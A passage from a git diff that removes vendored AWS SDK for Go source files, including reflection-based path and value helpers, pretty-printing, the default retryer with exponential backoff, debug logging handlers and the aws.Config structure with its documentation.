perform indirection of nested values of the input parameters. -func DeepEqual(a, b interface{}) bool { - ra := reflect.Indirect(reflect.ValueOf(a)) - rb := reflect.Indirect(reflect.ValueOf(b)) - - if raValid, rbValid := ra.IsValid(), rb.IsValid(); !raValid && !rbValid { - // If the elements are both nil, and of the same type the are equal - // If they are of different types they are not equal - return reflect.TypeOf(a) == reflect.TypeOf(b) - } else if raValid != rbValid { - // Both values must be valid to be equal - return false - } - - return reflect.DeepEqual(ra.Interface(), rb.Interface()) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/path_value.go b/vendor/github.com/aws/aws-sdk-go/aws/awsutil/path_value.go deleted file mode 100644 index 11c52c3896..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/path_value.go +++ /dev/null @@ -1,222 +0,0 @@ -package awsutil - -import ( - "reflect" - "regexp" - "strconv" - "strings" - - "github.com/jmespath/go-jmespath" -) - -var indexRe = regexp.MustCompile(`(.+)\[(-?\d+)?\]$`) - -// rValuesAtPath returns a slice of values found in value v. The values -// in v are explored recursively so all nested values are collected. -func rValuesAtPath(v interface{}, path string, createPath, caseSensitive, nilTerm bool) []reflect.Value { - pathparts := strings.Split(path, "||") - if len(pathparts) > 1 { - for _, pathpart := range pathparts { - vals := rValuesAtPath(v, pathpart, createPath, caseSensitive, nilTerm) - if len(vals) > 0 { - return vals - } - } - return nil - } - - values := []reflect.Value{reflect.Indirect(reflect.ValueOf(v))} - components := strings.Split(path, ".") - for len(values) > 0 && len(components) > 0 { - var index *int64 - var indexStar bool - c := strings.TrimSpace(components[0]) - if c == "" { // no actual component, illegal syntax - return nil - } else if caseSensitive && c != "*" && strings.ToLower(c[0:1]) == c[0:1] { - // TODO normalize case for user - return nil // don't support unexported fields - } - - // parse this component - if m := indexRe.FindStringSubmatch(c); m != nil { - c = m[1] - if m[2] == "" { - index = nil - indexStar = true - } else { - i, _ := strconv.ParseInt(m[2], 10, 32) - index = &i - indexStar = false - } - } - - nextvals := []reflect.Value{} - for _, value := range values { - // pull component name out of struct member - if value.Kind() != reflect.Struct { - continue - } - - if c == "*" { // pull all members - for i := 0; i < value.NumField(); i++ { - if f := reflect.Indirect(value.Field(i)); f.IsValid() { - nextvals = append(nextvals, f) - } - } - continue - } - - value = value.FieldByNameFunc(func(name string) bool { - if c == name { - return true - } else if !caseSensitive && strings.ToLower(name) == strings.ToLower(c) { - return true - } - return false - }) - - if nilTerm && value.Kind() == reflect.Ptr && len(components[1:]) == 0 { - if !value.IsNil() { - value.Set(reflect.Zero(value.Type())) - } - return []reflect.Value{value} - } - - if createPath && value.Kind() == reflect.Ptr && value.IsNil() { - // TODO if the value is the terminus it should not be created - // if the value to be set to its position is nil. - value.Set(reflect.New(value.Type().Elem())) - value = value.Elem() - } else { - value = reflect.Indirect(value) - } - - if value.Kind() == reflect.Slice || value.Kind() == reflect.Map { - if !createPath && value.IsNil() { - value = reflect.ValueOf(nil) - } - } - - if value.IsValid() { - nextvals = append(nextvals, value) - } - } - values = nextvals - - if indexStar || index != nil { - nextvals = []reflect.Value{} - for _, valItem := range values { - value := reflect.Indirect(valItem) - if value.Kind() != reflect.Slice { - continue - } - - if indexStar { // grab all indices - for i := 0; i < value.Len(); i++ { - idx := reflect.Indirect(value.Index(i)) - if idx.IsValid() { - nextvals = append(nextvals, idx) - } - } - continue - } - - // pull out index - i := int(*index) - if i >= value.Len() { // check out of bounds - if createPath { - // TODO resize slice - } else { - continue - } - } else if i < 0 { // support negative indexing - i = value.Len() + i - } - value = reflect.Indirect(value.Index(i)) - - if value.Kind() == reflect.Slice || value.Kind() == reflect.Map { - if !createPath && value.IsNil() { - value = reflect.ValueOf(nil) - } - } - - if value.IsValid() { - nextvals = append(nextvals, value) - } - } - values = nextvals - } - - components = components[1:] - } - return values -} - -// ValuesAtPath returns a list of values at the case insensitive lexical -// path inside of a structure. -func ValuesAtPath(i interface{}, path string) ([]interface{}, error) { - result, err := jmespath.Search(path, i) - if err != nil { - return nil, err - } - - v := reflect.ValueOf(result) - if !v.IsValid() || (v.Kind() == reflect.Ptr && v.IsNil()) { - return nil, nil - } - if s, ok := result.([]interface{}); ok { - return s, err - } - if v.Kind() == reflect.Map && v.Len() == 0 { - return nil, nil - } - if v.Kind() == reflect.Slice { - out := make([]interface{}, v.Len()) - for i := 0; i < v.Len(); i++ { - out[i] = v.Index(i).Interface() - } - return out, nil - } - - return []interface{}{result}, nil -} - -// SetValueAtPath sets a value at the case insensitive lexical path inside -// of a structure. -func SetValueAtPath(i interface{}, path string, v interface{}) { - if rvals := rValuesAtPath(i, path, true, false, v == nil); rvals != nil { - for _, rval := range rvals { - if rval.Kind() == reflect.Ptr && rval.IsNil() { - continue - } - setValue(rval, v) - } - } -} - -func setValue(dstVal reflect.Value, src interface{}) { - if dstVal.Kind() == reflect.Ptr { - dstVal = reflect.Indirect(dstVal) - } - srcVal := reflect.ValueOf(src) - - if !srcVal.IsValid() { // src is literal nil - if dstVal.CanAddr() { - // Convert to pointer so that pointer's value can be nil'ed - // dstVal = dstVal.Addr() - } - dstVal.Set(reflect.Zero(dstVal.Type())) - - } else if srcVal.Kind() == reflect.Ptr { - if srcVal.IsNil() { - srcVal = reflect.Zero(dstVal.Type()) - } else { - srcVal = reflect.ValueOf(src).Elem() - } - dstVal.Set(srcVal) - } else { - dstVal.Set(srcVal) - } - -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/prettify.go b/vendor/github.com/aws/aws-sdk-go/aws/awsutil/prettify.go deleted file mode 100644 index 710eb432f8..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/prettify.go +++ /dev/null @@ -1,113 +0,0 @@ -package awsutil - -import ( - "bytes" - "fmt" - "io" - "reflect" - "strings" -) - -// Prettify returns the string representation of a value. -func Prettify(i interface{}) string { - var buf bytes.Buffer - prettify(reflect.ValueOf(i), 0, &buf) - return buf.String() -} - -// prettify will recursively walk value v to build a textual -// representation of the value. -func prettify(v reflect.Value, indent int, buf *bytes.Buffer) { - for v.Kind() == reflect.Ptr { - v = v.Elem() - } - - switch v.Kind() { - case reflect.Struct: - strtype := v.Type().String() - if strtype == "time.Time" { - fmt.Fprintf(buf, "%s", v.Interface()) - break - } else if strings.HasPrefix(strtype, "io.") { - buf.WriteString("") - break - } - - buf.WriteString("{\n") - - names := []string{} - for i := 0; i < v.Type().NumField(); i++ { - name := v.Type().Field(i).Name - f := v.Field(i) - if name[0:1] == strings.ToLower(name[0:1]) { - continue // ignore unexported fields - } - if (f.Kind() == reflect.Ptr || f.Kind() == reflect.Slice || f.Kind() == reflect.Map) && f.IsNil() { - continue // ignore unset fields - } - names = append(names, name) - } - - for i, n := range names { - val := v.FieldByName(n) - buf.WriteString(strings.Repeat(" ", indent+2)) - buf.WriteString(n + ": ") - prettify(val, indent+2, buf) - - if i < len(names)-1 { - buf.WriteString(",\n") - } - } - - buf.WriteString("\n" + strings.Repeat(" ", indent) + "}") - case reflect.Slice: - strtype := v.Type().String() - if strtype == "[]uint8" { - fmt.Fprintf(buf, " len %d", v.Len()) - break - } - - nl, id, id2 := "", "", "" - if v.Len() > 3 { - nl, id, id2 = "\n", strings.Repeat(" ", indent), strings.Repeat(" ", indent+2) - } - buf.WriteString("[" + nl) - for i := 0; i < v.Len(); i++ { - buf.WriteString(id2) - prettify(v.Index(i), indent+2, buf) - - if i < v.Len()-1 { - buf.WriteString("," + nl) - } - } - - buf.WriteString(nl + id + "]") - case reflect.Map: - buf.WriteString("{\n") - - for i, k := range v.MapKeys() { - buf.WriteString(strings.Repeat(" ", indent+2)) - buf.WriteString(k.String() + ": ") - prettify(v.MapIndex(k), indent+2, buf) - - if i < v.Len()-1 { - buf.WriteString(",\n") - } - } - - buf.WriteString("\n" + strings.Repeat(" ", indent) + "}") - default: - if !v.IsValid() { - fmt.Fprint(buf, "") - return - } - format := "%v" - switch v.Interface().(type) { - case string: - format = "%q" - case io.ReadSeeker, io.Reader: - format = "buffer(%p)" - } - fmt.Fprintf(buf, format, v.Interface()) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/string_value.go b/vendor/github.com/aws/aws-sdk-go/aws/awsutil/string_value.go deleted file mode 100644 index 645df2450f..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/string_value.go +++ /dev/null @@ -1,88 +0,0 @@ -package awsutil - -import ( - "bytes" - "fmt" - "reflect" - "strings" -) - -// StringValue returns the string representation of a value. -func StringValue(i interface{}) string { - var buf bytes.Buffer - stringValue(reflect.ValueOf(i), 0, &buf) - return buf.String() -} - -func stringValue(v reflect.Value, indent int, buf *bytes.Buffer) { - for v.Kind() == reflect.Ptr { - v = v.Elem() - } - - switch v.Kind() { - case reflect.Struct: - buf.WriteString("{\n") - - for i := 0; i < v.Type().NumField(); i++ { - ft := v.Type().Field(i) - fv := v.Field(i) - - if ft.Name[0:1] == strings.ToLower(ft.Name[0:1]) { - continue // ignore unexported fields - } - if (fv.Kind() == reflect.Ptr || fv.Kind() == reflect.Slice) && fv.IsNil() { - continue // ignore unset fields - } - - buf.WriteString(strings.Repeat(" ", indent+2)) - buf.WriteString(ft.Name + ": ") - - if tag := ft.Tag.Get("sensitive"); tag == "true" { - buf.WriteString("") - } else { - stringValue(fv, indent+2, buf) - } - - buf.WriteString(",\n") - } - - buf.WriteString("\n" + strings.Repeat(" ", indent) + "}") - case reflect.Slice: - nl, id, id2 := "", "", "" - if v.Len() > 3 { - nl, id, id2 = "\n", strings.Repeat(" ", indent), strings.Repeat(" ", indent+2) - } - buf.WriteString("[" + nl) - for i := 0; i < v.Len(); i++ { - buf.WriteString(id2) - stringValue(v.Index(i), indent+2, buf) - - if i < v.Len()-1 { - buf.WriteString("," + nl) - } - } - - buf.WriteString(nl + id + "]") - case reflect.Map: - buf.WriteString("{\n") - - for i, k := range v.MapKeys() { - buf.WriteString(strings.Repeat(" ", indent+2)) - buf.WriteString(k.String() + ": ") - stringValue(v.MapIndex(k), indent+2, buf) - - if i < v.Len()-1 { - buf.WriteString(",\n") - } - } - - buf.WriteString("\n" + strings.Repeat(" ", indent) + "}") - default: - format := "%v" - switch v.Interface().(type) { - case string: - format = "%q" - } - fmt.Fprintf(buf, format, v.Interface()) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/client/client.go b/vendor/github.com/aws/aws-sdk-go/aws/client/client.go deleted file mode 100644 index 7096053840..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/client/client.go +++ /dev/null @@ -1,96 +0,0 @@ -package client - -import ( - "fmt" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/aws/request" -) - -// A Config provides configuration to a service client instance. -type Config struct { - Config *aws.Config - Handlers request.Handlers - Endpoint string - SigningRegion string - SigningName string - - // States that the signing name did not come from a modeled source but - // was derived based on other data. Used by service client constructors - // to determine if the signin name can be overridden based on metadata the - // service has. - SigningNameDerived bool -} - -// ConfigProvider provides a generic way for a service client to receive -// the ClientConfig without circular dependencies. -type ConfigProvider interface { - ClientConfig(serviceName string, cfgs ...*aws.Config) Config -} - -// ConfigNoResolveEndpointProvider same as ConfigProvider except it will not -// resolve the endpoint automatically. The service client's endpoint must be -// provided via the aws.Config.Endpoint field. -type ConfigNoResolveEndpointProvider interface { - ClientConfigNoResolveEndpoint(cfgs ...*aws.Config) Config -} - -// A Client implements the base client request and response handling -// used by all service clients. -type Client struct { - request.Retryer - metadata.ClientInfo - - Config aws.Config - Handlers request.Handlers -} - -// New will return a pointer to a new initialized service client. -func New(cfg aws.Config, info metadata.ClientInfo, handlers request.Handlers, options ...func(*Client)) *Client { - svc := &Client{ - Config: cfg, - ClientInfo: info, - Handlers: handlers.Copy(), - } - - switch retryer, ok := cfg.Retryer.(request.Retryer); { - case ok: - svc.Retryer = retryer - case cfg.Retryer != nil && cfg.Logger != nil: - s := fmt.Sprintf("WARNING: %T does not implement request.Retryer; using DefaultRetryer instead", cfg.Retryer) - cfg.Logger.Log(s) - fallthrough - default: - maxRetries := aws.IntValue(cfg.MaxRetries) - if cfg.MaxRetries == nil || maxRetries == aws.UseServiceDefaultRetries { - maxRetries = 3 - } - svc.Retryer = DefaultRetryer{NumMaxRetries: maxRetries} - } - - svc.AddDebugHandlers() - - for _, option := range options { - option(svc) - } - - return svc -} - -// NewRequest returns a new Request pointer for the service API -// operation and parameters. -func (c *Client) NewRequest(operation *request.Operation, params interface{}, data interface{}) *request.Request { - return request.New(c.Config, c.ClientInfo, c.Handlers, c.Retryer, operation, params, data) -} - -// AddDebugHandlers injects debug logging handlers into the service to log request -// debug information. -func (c *Client) AddDebugHandlers() { - if !c.Config.LogLevel.AtLeast(aws.LogDebug) { - return - } - - c.Handlers.Send.PushFrontNamed(LogHTTPRequestHandler) - c.Handlers.Send.PushBackNamed(LogHTTPResponseHandler) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/client/default_retryer.go b/vendor/github.com/aws/aws-sdk-go/aws/client/default_retryer.go deleted file mode 100644 index a397b0d044..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/client/default_retryer.go +++ /dev/null @@ -1,116 +0,0 @@ -package client - -import ( - "strconv" - "time" - - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/sdkrand" -) - -// DefaultRetryer implements basic retry logic using exponential backoff for -// most services. If you want to implement custom retry logic, implement the -// request.Retryer interface or create a structure type that composes this -// struct and override the specific methods. For example, to override only -// the MaxRetries method: -// -// type retryer struct { -// client.DefaultRetryer -// } -// -// // This implementation always has 100 max retries -// func (d retryer) MaxRetries() int { return 100 } -type DefaultRetryer struct { - NumMaxRetries int -} - -// MaxRetries returns the number of maximum returns the service will use to make -// an individual API request. -func (d DefaultRetryer) MaxRetries() int { - return d.NumMaxRetries -} - -// RetryRules returns the delay duration before retrying this request again -func (d DefaultRetryer) RetryRules(r *request.Request) time.Duration { - // Set the upper limit of delay in retrying at ~five minutes - minTime := 30 - throttle := d.shouldThrottle(r) - if throttle { - if delay, ok := getRetryDelay(r); ok { - return delay - } - - minTime = 500 - } - - retryCount := r.RetryCount - if throttle && retryCount > 8 { - retryCount = 8 - } else if retryCount > 13 { - retryCount = 13 - } - - delay := (1 << uint(retryCount)) * (sdkrand.SeededRand.Intn(minTime) + minTime) - return time.Duration(delay) * time.Millisecond -} - -// ShouldRetry returns true if the request should be retried. -func (d DefaultRetryer) ShouldRetry(r *request.Request) bool { - // If one of the other handlers already set the retry state - // we don't want to override it based on the service's state - if r.Retryable != nil { - return *r.Retryable - } - - if r.HTTPResponse.StatusCode >= 500 && r.HTTPResponse.StatusCode != 501 { - return true - } - return r.IsErrorRetryable() || d.shouldThrottle(r) -} - -// ShouldThrottle returns true if the request should be throttled. -func (d DefaultRetryer) shouldThrottle(r *request.Request) bool { - switch r.HTTPResponse.StatusCode { - case 429: - case 502: - case 503: - case 504: - default: - return r.IsErrorThrottle() - } - - return true -} - -// This will look in the Retry-After header, RFC 7231, for how long -// it will wait before attempting another request -func getRetryDelay(r *request.Request) (time.Duration, bool) { - if !canUseRetryAfterHeader(r) { - return 0, false - } - - delayStr := r.HTTPResponse.Header.Get("Retry-After") - if len(delayStr) == 0 { - return 0, false - } - - delay, err := strconv.Atoi(delayStr) - if err != nil { - return 0, false - } - - return time.Duration(delay) * time.Second, true -} - -// Will look at the status code to see if the retry header pertains to -// the status code. -func canUseRetryAfterHeader(r *request.Request) bool { - switch r.HTTPResponse.StatusCode { - case 429: - case 503: - default: - return false - } - - return true -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/client/logger.go b/vendor/github.com/aws/aws-sdk-go/aws/client/logger.go deleted file mode 100644 index 7b5e1276ac..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/client/logger.go +++ /dev/null @@ -1,190 +0,0 @@ -package client - -import ( - "bytes" - "fmt" - "io" - "io/ioutil" - "net/http/httputil" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/request" -) - -const logReqMsg = `DEBUG: Request %s/%s Details: ----[ REQUEST POST-SIGN ]----------------------------- -%s ------------------------------------------------------` - -const logReqErrMsg = `DEBUG ERROR: Request %s/%s: ----[ REQUEST DUMP ERROR ]----------------------------- -%s -------------------------------------------------------` - -type logWriter struct { - // Logger is what we will use to log the payload of a response. - Logger aws.Logger - // buf stores the contents of what has been read - buf *bytes.Buffer -} - -func (logger *logWriter) Write(b []byte) (int, error) { - return logger.buf.Write(b) -} - -type teeReaderCloser struct { - // io.Reader will be a tee reader that is used during logging. - // This structure will read from a body and write the contents to a logger. - io.Reader - // Source is used just to close when we are done reading. - Source io.ReadCloser -} - -func (reader *teeReaderCloser) Close() error { - return reader.Source.Close() -} - -// LogHTTPRequestHandler is a SDK request handler to log the HTTP request sent -// to a service. Will include the HTTP request body if the LogLevel of the -// request matches LogDebugWithHTTPBody. -var LogHTTPRequestHandler = request.NamedHandler{ - Name: "awssdk.client.LogRequest", - Fn: logRequest, -} - -func logRequest(r *request.Request) { - logBody := r.Config.LogLevel.Matches(aws.LogDebugWithHTTPBody) - bodySeekable := aws.IsReaderSeekable(r.Body) - - b, err := httputil.DumpRequestOut(r.HTTPRequest, logBody) - if err != nil { - r.Config.Logger.Log(fmt.Sprintf(logReqErrMsg, - r.ClientInfo.ServiceName, r.Operation.Name, err)) - return - } - - if logBody { - if !bodySeekable { - r.SetReaderBody(aws.ReadSeekCloser(r.HTTPRequest.Body)) - } - // Reset the request body because dumpRequest will re-wrap the r.HTTPRequest's - // Body as a NoOpCloser and will not be reset after read by the HTTP - // client reader. - r.ResetBody() - } - - r.Config.Logger.Log(fmt.Sprintf(logReqMsg, - r.ClientInfo.ServiceName, r.Operation.Name, string(b))) -} - -// LogHTTPRequestHeaderHandler is a SDK request handler to log the HTTP request sent -// to a service. Will only log the HTTP request's headers. The request payload -// will not be read. -var LogHTTPRequestHeaderHandler = request.NamedHandler{ - Name: "awssdk.client.LogRequestHeader", - Fn: logRequestHeader, -} - -func logRequestHeader(r *request.Request) { - b, err := httputil.DumpRequestOut(r.HTTPRequest, false) - if err != nil { - r.Config.Logger.Log(fmt.Sprintf(logReqErrMsg, - r.ClientInfo.ServiceName, r.Operation.Name, err)) - return - } - - r.Config.Logger.Log(fmt.Sprintf(logReqMsg, - r.ClientInfo.ServiceName, r.Operation.Name, string(b))) -} - -const logRespMsg = `DEBUG: Response %s/%s Details: ----[ RESPONSE ]-------------------------------------- -%s ------------------------------------------------------` - -const logRespErrMsg = `DEBUG ERROR: Response %s/%s: ----[ RESPONSE DUMP ERROR ]----------------------------- -%s ------------------------------------------------------` - -// LogHTTPResponseHandler is a SDK request handler to log the HTTP response -// received from a service. Will include the HTTP response body if the LogLevel -// of the request matches LogDebugWithHTTPBody. -var LogHTTPResponseHandler = request.NamedHandler{ - Name: "awssdk.client.LogResponse", - Fn: logResponse, -} - -func logResponse(r *request.Request) { - lw := &logWriter{r.Config.Logger, bytes.NewBuffer(nil)} - - if r.HTTPResponse == nil { - lw.Logger.Log(fmt.Sprintf(logRespErrMsg, - r.ClientInfo.ServiceName, r.Operation.Name, "request's HTTPResponse is nil")) - return - } - - logBody := r.Config.LogLevel.Matches(aws.LogDebugWithHTTPBody) - if logBody { - r.HTTPResponse.Body = &teeReaderCloser{ - Reader: io.TeeReader(r.HTTPResponse.Body, lw), - Source: r.HTTPResponse.Body, - } - } - - handlerFn := func(req *request.Request) { - b, err := httputil.DumpResponse(req.HTTPResponse, false) - if err != nil { - lw.Logger.Log(fmt.Sprintf(logRespErrMsg, - req.ClientInfo.ServiceName, req.Operation.Name, err)) - return - } - - lw.Logger.Log(fmt.Sprintf(logRespMsg, - req.ClientInfo.ServiceName, req.Operation.Name, string(b))) - - if logBody { - b, err := ioutil.ReadAll(lw.buf) - if err != nil { - lw.Logger.Log(fmt.Sprintf(logRespErrMsg, - req.ClientInfo.ServiceName, req.Operation.Name, err)) - return - } - - lw.Logger.Log(string(b)) - } - } - - const handlerName = "awsdk.client.LogResponse.ResponseBody" - - r.Handlers.Unmarshal.SetBackNamed(request.NamedHandler{ - Name: handlerName, Fn: handlerFn, - }) - r.Handlers.UnmarshalError.SetBackNamed(request.NamedHandler{ - Name: handlerName, Fn: handlerFn, - }) -} - -// LogHTTPResponseHeaderHandler is a SDK request handler to log the HTTP -// response received from a service. Will only log the HTTP response's headers. -// The response payload will not be read. -var LogHTTPResponseHeaderHandler = request.NamedHandler{ - Name: "awssdk.client.LogResponseHeader", - Fn: logResponseHeader, -} - -func logResponseHeader(r *request.Request) { - if r.Config.Logger == nil { - return - } - - b, err := httputil.DumpResponse(r.HTTPResponse, false) - if err != nil { - r.Config.Logger.Log(fmt.Sprintf(logRespErrMsg, - r.ClientInfo.ServiceName, r.Operation.Name, err)) - return - } - - r.Config.Logger.Log(fmt.Sprintf(logRespMsg, - r.ClientInfo.ServiceName, r.Operation.Name, string(b))) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/client/metadata/client_info.go b/vendor/github.com/aws/aws-sdk-go/aws/client/metadata/client_info.go deleted file mode 100644 index 920e9fddf8..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/client/metadata/client_info.go +++ /dev/null @@ -1,13 +0,0 @@ -package metadata - -// ClientInfo wraps immutable data from the client.Client structure. -type ClientInfo struct { - ServiceName string - ServiceID string - APIVersion string - Endpoint string - SigningName string - SigningRegion string - JSONVersion string - TargetPrefix string -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/config.go b/vendor/github.com/aws/aws-sdk-go/aws/config.go deleted file mode 100644 index 10634d173d..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/config.go +++ /dev/null @@ -1,536 +0,0 @@ -package aws - -import ( - "net/http" - "time" - - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/endpoints" -) - -// UseServiceDefaultRetries instructs the config to use the service's own -// default number of retries. This will be the default action if -// Config.MaxRetries is nil also. -const UseServiceDefaultRetries = -1 - -// RequestRetryer is an alias for a type that implements the request.Retryer -// interface. -type RequestRetryer interface{} - -// A Config provides service configuration for service clients. By default, -// all clients will use the defaults.DefaultConfig structure. -// -// // Create Session with MaxRetry configuration to be shared by multiple -// // service clients. -// sess := session.Must(session.NewSession(&aws.Config{ -// MaxRetries: aws.Int(3), -// })) -// -// // Create S3 service client with a specific Region. -// svc := s3.New(sess, &aws.Config{ -// Region: aws.String("us-west-2"), -// }) -type Config struct { - // Enables verbose error printing of all credential chain errors. - // Should be used when wanting to see all errors while attempting to - // retrieve credentials. - CredentialsChainVerboseErrors *bool - - // The credentials object to use when signing requests. Defaults to a - // chain of credential providers to search for credentials in environment - // variables, shared credential file, and EC2 Instance Roles. - Credentials *credentials.Credentials - - // An optional endpoint URL (hostname only or fully qualified URI) - // that overrides the default generated endpoint for a client. Set this - // to `""` to use the default generated endpoint. - // - // Note: You must still provide a `Region` value when specifying an - // endpoint for a client. - Endpoint *string - - // The resolver to use for looking up endpoints for AWS service clients - // to use based on region. - EndpointResolver endpoints.Resolver - - // EnforceShouldRetryCheck is used in the AfterRetryHandler to always call - // ShouldRetry regardless of whether or not if request.Retryable is set. - // This will utilize ShouldRetry method of custom retryers. If EnforceShouldRetryCheck - // is not set, then ShouldRetry will only be called if request.Retryable is nil. - // Proper handling of the request.Retryable field is important when setting this field. - EnforceShouldRetryCheck *bool - - // The region to send requests to. This parameter is required and must - // be configured globally or on a per-client basis unless otherwise - // noted. A full list of regions is found in the "Regions and Endpoints" - // document. - // - // See http://docs.aws.amazon.com/general/latest/gr/rande.html for AWS - // Regions and Endpoints. - Region *string - - // Set this to `true` to disable SSL when sending requests. Defaults - // to `false`. - DisableSSL *bool - - // The HTTP client to use when sending requests. Defaults to - // `http.DefaultClient`. - HTTPClient *http.Client - - // An integer value representing the logging level. The default log level - // is zero (LogOff), which represents no logging. To enable logging set - // to a LogLevel Value. - LogLevel *LogLevelType - - // The logger writer interface to write logging messages to. Defaults to - // standard out. - Logger Logger - - // The maximum number of times that a request will be retried for failures. - // Defaults to -1, which defers the max retry setting to the service - // specific configuration. - MaxRetries *int - - // Retryer guides how HTTP requests should be retried in case of - // recoverable failures. - // - // When nil or the value does not implement the request.Retryer interface, - // the client.DefaultRetryer will be used. - // - // When both Retryer and MaxRetries are non-nil, the former is used and - // the latter ignored. - // - // To set the Retryer field in a type-safe manner and with chaining, use - // the request.WithRetryer helper function: - // - // cfg := request.WithRetryer(aws.NewConfig(), myRetryer) - // - Retryer RequestRetryer - - // Disables semantic parameter validation, which validates input for - // missing required fields and/or other semantic request input errors. - DisableParamValidation *bool - - // Disables the computation of request and response checksums, e.g., - // CRC32 checksums in Amazon DynamoDB. - DisableComputeChecksums *bool - - // Set this to `true` to force the request to use path-style addressing, - // i.e., `http://s3.amazonaws.com/BUCKET/KEY`. By default, the S3 client - // will use virtual hosted bucket addressing when possible - // (`http://BUCKET.s3.amazonaws.com/KEY`). - // - // Note: This configuration option is specific to the Amazon S3 service. - // - // See http://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html - // for Amazon S3: Virtual Hosting of Buckets - S3ForcePathStyle *bool - - // Set this to `true` to disable the SDK adding the `Expect: 100-Continue` - // header to PUT requests over 2MB of content. 100-Continue instructs the - // HTTP client not to send the body until the service responds with a - // `continue` status. This is useful to prevent sending the request body - // until after the request is authenticated, and validated. - // - // http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectPUT.html - // - // 100-Continue is only enabled for Go 1.6 and above. See `http.Transport`'s - // `ExpectContinueTimeout` for information on adjusting the continue wait - // timeout. https://golang.org/pkg/net/http/#Transport - // - // You should use this flag to disble 100-Continue if you experience issues - // with proxies or third party S3 compatible services. - S3Disable100Continue *bool - - // Set this to `true` to enable S3 Accelerate feature. For all operations - // compatible with S3 Accelerate will use the accelerate endpoint for - // requests. Requests not compatible will fall back to normal S3 requests. - // - // The bucket must be enable for accelerate to be used with S3 client with - // accelerate enabled. If the bucket is not enabled for accelerate an error - // will be returned. The bucket name must be DNS compatible to also work - // with accelerate. - S3UseAccelerate *bool - - // S3DisableContentMD5Validation config option is temporarily disabled, - // For S3 GetObject API calls, #1837. - // - // Set this to `true` to disable the S3 service client from automatically - // adding the ContentMD5 to S3 Object Put and Upload API calls. This option - // will also disable the SDK from performing object ContentMD5 validation - // on GetObject API calls. - S3DisableContentMD5Validation *bool - - // Set this to `true` to disable the EC2Metadata client from overriding the - // default http.Client's Timeout. This is helpful if you do not want the - // EC2Metadata client to create a new http.Client. This options is only - // meaningful if you're not already using a custom HTTP client with the - // SDK. Enabled by default. - // - // Must be set and provided to the session.NewSession() in order to disable - // the EC2Metadata overriding the timeout for default credentials chain. - // - // Example: - // sess := session.Must(session.NewSession(aws.NewConfig() - // .WithEC2MetadataDiableTimeoutOverride(true))) - // - // svc := s3.New(sess) - // - EC2MetadataDisableTimeoutOverride *bool - - // Instructs the endpoint to be generated for a service client to - // be the dual stack endpoint. The dual stack endpoint will support - // both IPv4 and IPv6 addressing. - // - // Setting this for a service which does not support dual stack will fail - // to make requets. It is not recommended to set this value on the session - // as it will apply to all service clients created with the session. Even - // services which don't support dual stack endpoints. - // - // If the Endpoint config value is also provided the UseDualStack flag - // will be ignored. - // - // Only supported with. - // - // sess := session.Must(session.NewSession()) - // - // svc := s3.New(sess, &aws.Config{ - // UseDualStack: aws.Bool(true), - // }) - UseDualStack *bool - - // SleepDelay is an override for the func the SDK will call when sleeping - // during the lifecycle of a request. Specifically this will be used for - // request delays. This value should only be used for testing. To adjust - // the delay of a request see the aws/client.DefaultRetryer and - // aws/request.Retryer. - // - // SleepDelay will prevent any Context from being used for canceling retry - // delay of an API operation. It is recommended to not use SleepDelay at all - // and specify a Retryer instead. - SleepDelay func(time.Duration) - - // DisableRestProtocolURICleaning will not clean the URL path when making rest protocol requests. - // Will default to false. This would only be used for empty directory names in s3 requests. - // - // Example: - // sess := session.Must(session.NewSession(&aws.Config{ - // DisableRestProtocolURICleaning: aws.Bool(true), - // })) - // - // svc := s3.New(sess) - // out, err := svc.GetObject(&s3.GetObjectInput { - // Bucket: aws.String("bucketname"), - // Key: aws.String("//foo//bar//moo"), - // }) - DisableRestProtocolURICleaning *bool - - // EnableEndpointDiscovery will allow for endpoint discovery on operations that - // have the definition in its model. By default, endpoint discovery is off. - // - // Example: - // sess := session.Must(session.NewSession(&aws.Config{ - // EnableEndpointDiscovery: aws.Bool(true), - // })) - // - // svc := s3.New(sess) - // out, err := svc.GetObject(&s3.GetObjectInput { - // Bucket: aws.String("bucketname"), - // Key: aws.String("/foo/bar/moo"), - // }) - EnableEndpointDiscovery *bool - - // DisableEndpointHostPrefix will disable the SDK's behavior of prefixing - // request endpoint hosts with modeled information. - // - // Disabling this feature is useful when you want to use local endpoints - // for testing that do not support the modeled host prefix pattern. - DisableEndpointHostPrefix *bool -} - -// NewConfig returns a new Config pointer that can be chained with builder -// methods to set multiple configuration values inline without using pointers. -// -// // Create Session with MaxRetry configuration to be shared by multiple -// // service clients. -// sess := session.Must(session.NewSession(aws.NewConfig(). -// WithMaxRetries(3), -// )) -// -// // Create S3 service client with a specific Region. -// svc := s3.New(sess, aws.NewConfig(). -// WithRegion("us-west-2"), -// ) -func NewConfig() *Config { - return &Config{} -} - -// WithCredentialsChainVerboseErrors sets a config verbose errors boolean and returning -// a Config pointer. -func (c *Config) WithCredentialsChainVerboseErrors(verboseErrs bool) *Config { - c.CredentialsChainVerboseErrors = &verboseErrs - return c -} - -// WithCredentials sets a config Credentials value returning a Config pointer -// for chaining. -func (c *Config) WithCredentials(creds *credentials.Credentials) *Config { - 